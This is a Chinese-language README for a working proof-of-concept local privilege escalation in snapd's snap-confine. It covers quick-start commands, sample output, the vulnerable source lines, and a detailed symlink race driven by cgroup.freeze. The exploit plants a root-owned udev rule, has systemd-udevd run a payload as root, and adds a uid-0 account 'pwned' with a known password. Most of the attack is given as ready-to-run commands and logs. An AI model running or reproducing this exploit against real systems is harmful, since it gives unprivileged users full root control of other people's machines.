snap-confine 挂载命名空间竞态 → 本地 root shell可用的 PoC。完整本地权限提升已端到端复现,从非特权用户(uid 1000)到真实的 uid-0 root shell——无需密码、无需交互、无需任何预先存在的权限。
一个非特权进程使具备 capabilities 的 snap-confine 将一条 root 所有的 udev 规则写入主机的 /run/udev/rules.d/;随后 systemd-udevd 以 root 身份执行该规则的 PROGRAM= 载荷。内置载荷会植入一个 uid-0 账户并设置已知密码,因此 su - pwned(或 ./_rootshell.py)即可交出一个 root shell。
| 组件 | snap-confine → sc_replicate_base_rootfs()(snapd 2.73 源码见 _msc_273.c;受测主机运行 snapd 2.76.3,仍可被利用) |
| 类别 | 本地权限提升(符号链接竞态 → 在 /run/udev/** 中任意创建 root 所有的文件 → 以 root 身份执行代码) |
| 结果 | 从非特权账户获得 uid=0(root) shell |
| 可靠性 | 16 次运行:7 次首次尝试即成功,其余在第二次成功;从未超过 2 次 |
| 可移植性 | 与主机无关:目标 snap、应用名、cgroup scope、uid 和 snap-confine 路径均在运行时检测 |
| 需要 root | 否(见 §9) |
目录
TL;DR · 1. 快速开始 · 2. 环境要求 · 3. 预期结果 · 4. 漏洞原理 · 5. 赢得竞态 · 6. 载荷 · 7. 包内容 · 8. 配置 · 9. 权限与清理 · 10. 影响与修复 · 故障排查 · 参考资料 · 免责声明
cd <package dir>
bash _t18poc.sh 100% 12 # ~1–2 min, no password required
预期输出(节选):
### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"
### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash
### 3. root shell
credentials: pwned / pwned (uid 0)
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
驱动程序会自行清理(规则、payload、植入的账户、临时目录及其挂载点)。KEEP=1 会保留该账户,以便之后可以交互式使用 root shell:
KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py # interactive root shell (password typed for you)
./_rootshell.py -c 'id' # one-shot command as root
su - pwned # or just this, password: pwned
cd <package dir>
./t18 info # optional: which snap is the target?
bash _t18poc.sh 100% 12 # quota, max attempts
_t18poc.sh [quota] [attempts] 会构建 t18 + _ftrig,检测目标,
运行漏洞利用直到成功,触发 udevd,验证 root payload 并
进行清理。100% 12 是下文所有测量中使用的值;0.3% 40
同样可行(更严格的配额,更多尝试次数)。
在改动任何内容之前,驱动程序会打印自动检测到的目标:
target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope : snap.firefox.firefox.scope
snapd : 2.76.3
cgroup.freeze),snap-confine,以 set-capabilities 方式安装
(cap_chown,cap_dac_override,cap_sys_admin,…)——而非 set-uid-root,gcc + libfuse3(pkg-config fuse3)用于构建 t18 和 _ftrig,/snap/<snap>/current 目录的顶层包含一个
普通文件——正是该 DT_REG 条目使存在漏洞的 open() 得以执行(例如 firefox、core22 等)。任何此类 snap 均可;
SNAP=<name> 可强制指定某一个。./t18 info 会打印检测到的目标的 snap、app、base、unit、scope、confine
以及条目/普通文件的数量,然后退出——这是快速判断某台主机在其已安装的 snap 下是否可被利用的方法。
[ 22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[ 22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[ 25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[ 35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[ 35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[ 35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[ 41.012] spinner: rule written into the root-owned file
[ 42.362] phase 2: 180 slices, win=1 (udev rule written)
[ 42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
/tmp/snap.rootfs_bTvhoA/default256.png: Permission denied
由具有 root 权限的 snap-confine 在主机上创建的文件:
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"
以及它所指向的 payload 脚本(由 uid 1000 写入,由 systemd-udevd 以 uid 0 执行):
-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root) <- /tmp/.pwned.root
snap-confine 随后立即终止,原因是对同一条目的 bind mount 被 AppArmor 拒绝——此时文件已经创建并填充完毕。
$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7::: <- /etc/shadow is root-only
$ ./_rootshell.py # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
在研究版本和最终通用构建上共运行 _t18poc.sh 16 次,全部以 LPE 结束(其中 7 次在第一次尝试时成功,其余在第二次尝试时成功);没有任何一次运行需要超过 2 次尝试。每次运行都会自行清理(规则、payload、植入的账户、临时目录及其挂载点)。
snapd 2.73,sc_replicate_base_rootfs()(源码位于 _msc_273.c):
511 if (mkdtemp(scratch_dir) == NULL) // /tmp/snap.rootfs_XXXXXX
523 sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
530 sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
535 sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
536 sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
362 if (chown(scratch_dir, 0, 0) < 0) die(...);
...
418 int fd = open(full_path, O_CREAT | O_TRUNC, 0644); // no O_NOFOLLOW
422 if (fchown(fd, 0, 0) < 0) die(...);
428 sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
snap-confine 安装时被赋予的是 set-capabilities(cap_chown、cap_dac_override、
cap_sys_admin 等),而非 set-uid-root,因此它在携带接近 root 权限的能力的同时,仍保持非特权的 euid。由此产生以下后果:
mkdtemp() 创建的 /tmp/snap.rootfs_XXXXXX 归攻击者所有
(位于第 511 行与第 362 行之间),并且open(full_path, O_CREAT|O_TRUNC, 0644) 会跟随符号链接(没有 O_NOFOLLOW),
因此生成的文件在两行之后的 fchown() 执行之前一直归攻击者所有。这两个窗口均可被非特权本地用户利用,这正是本 PoC 所做的事情。
SNAPD_DEBUG=1 + 用于 stderr 的管道 + 一个排空子进程,该子进程在标记
unsharing the mount namespace (per-snap) 出现的瞬间,将
cgroup.freeze=1 写入用户 scope 的 cgroup.freeze。这会在 mkdtemp() 之前
以约微秒级延迟冻结 snap-confine(轮询文件慢了 50–200 µs;对管道的 read()
会在写入者的上下文中被唤醒)。于是竞态不再是竞态——该 scope 通过
cgroup.freeze 被确定性地逐步推进(大约每个切片一次系统调用)。rmdir("/tmp/snap.rootfs_XXXXXX")(我们拥有它)并
symlink("/tmp/snap.rootfs_XXXXXX.dA", "/tmp/snap.rootfs_XXXXXX")。
mount(2) 会跟随目标路径中的符号链接,因此第 523/530/535 行的
MS_BIND/MS_UNBINDABLE/tmpfs 挂载全部落在 .dA 上,而 snap-confine
的 scratch_dir 字符串仍通过我们的符号链接解析。/proc/<pid>/mounts 显示
mounts=2 tmpfs=1 squashfs=0——第 535 行的 tmpfs 已挂载,而第 536 行的
复制循环尚未运行。unlink() 该符号链接,并重新创建它指向 .dB,这是第二个目录,持有相同的
符号链接农场,但不被 tmpfs 覆盖。此时循环将 scratch_dir/<entry>
解析到 .dB 中。fchown 窗口内写入).dB 中包含以基础 rootfs 的常规文件命名的符号链接(此处为 firefox snap 的
default256.png、firefox.desktop 等——在另一台主机上则简单地是
/snap/<snap>/current 的 DT_REG 条目),指向目标路径,例如
/run/udev/rules.d/8933-cve-1.rules(2.73 的 AppArmor 配置文件允许
/run/udev/** rw)。一个自旋子进程以如下方式反复冲击目标:
chmod(target, 0666)——仅在新创建的文件仍归我们所有时成功,且该模式在随后的
fchown() 之后依然保留,从而留下一个全局可写的 root 所有文件,以及open(O_WRONLY) + pwrite(RULE) + ftruncate()——在文件仍归我们所有时写入规则,
同样能在 fchown() 之后保留。利用的第二阶段以约 1 µs 的切片持续交出该 scope,因此复制循环的每个系统调用边界
都会为自旋子进程保持冻结。自旋子进程会持续重写,直到 snap-confine 消失,
这样之后对同一条目的 open(O_TRUNC) 就无法吞掉该规则。
挂载一个 FUSE 文件系统(_ftrig;任何非特权 FUSE 挂载均可)会产生一个 uevent;
systemd-udevd 会自动拾取 /run/udev/rules.d/ 中的新文件(无需
udevadm control --reload),并以 root 身份运行
PROGRAM="/tmp/8933-payload.sh"。